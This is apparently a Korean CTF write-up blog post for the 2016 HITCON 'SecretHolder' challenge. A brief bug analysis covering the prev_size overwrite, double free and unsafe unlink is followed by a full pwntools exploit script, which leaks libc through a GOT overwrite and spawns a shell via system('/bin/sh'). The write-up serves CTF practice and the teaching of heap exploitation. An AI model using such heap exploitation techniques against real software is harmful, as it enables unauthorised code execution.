2016 hitcon secretholder
small secret을 할당하고 쓸 때 40바이트 할당하므로 다음 chunk의 prev size를 덮을 수 있다.
전역 변수에서 각각의 heap address를 관리한다. -> unsafe unlink
물론 전역변수를 통해 입력도 받는다. 앞으로 힙오버만 있으면..!
free할 때 전역 변수에 저장되어 있는 heap address를 초기화하지 않는다. -> 같은 곳을 여러번 해제 가능
huge chunk를 맨 처음으로 오게할 수 있다면 small_buf를 이용하여 free한 후 UAF를 일으킬 수 있다.
그 다음부터는 fake chunk를 만들어 unsafe unlink를 trigger하고 free_got를 puts_plt로 덮어 leak, free_got를 system으로 바꿔 쉘을 따면 된다.
xxxxxxxxxx
from pwn import *
#context.log_level = 'debug'
e = ELF('SecretHolder')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
def menu(sel):
ru('3. Renew secret\n')
sl(sel)
def keep(level, secret):
menu('1')
ru('3. Huge secret\n')
sl(level)
ru(': \n')
sl(secret)
def wipe(level):
menu('2')
ru('3. Huge secret\n')
sl(level)
def renew(level, secret, toggle=0):
menu('3')
ru('3. Huge secret\n')
sl(level)
ru(': \n')
if toggle:
s.send(secret)
else:
sl(secret)
keep('1', '1')
wipe('1')
keep('3', '3')
wipe('3')
keep('3', '3')
wipe('1') # huge secret free
keep('1', '1')
keep('2', '2')
small_buf = 0x6020B0
renew('3', p64(0) + p64(0x21) + p64(small_buf - 24) + p64(small_buf - 16) + p64(0x20) + p64(0xfb0))
wipe('2')
renew('1', 'A'*8 + p64(e.got['free']) + p64(e.got['setvbuf']) + p64(small_buf-24) + p64(1))
renew('2', p64(e.plt['puts']).rstrip('\x00').ljust(7, '\x00'), toggle=1)
wipe('3')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - l.symbols['setvbuf']
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
print('system!: {}'.format(hex(system)))
binsh = libc_base + 0x18cd57
renew('2', p64(system).rstrip('\x00').ljust(7, '\x00'), toggle=1)
renew('1', p64(binsh)*4)
wipe('1') # shell!
io()
'system > writeup' 카테고리의 다른 글
2018 codegate baskinrobins31 (0) | 2019.01.22 |
---|---|
2016 hitcon sleepyholder (0) | 2019.01.22 |
2017 secuinside ohce (0) | 2019.01.21 |
2016 codefate floppy (0) | 2019.01.20 |
2017 0ctf babyheap (0) | 2019.01.20 |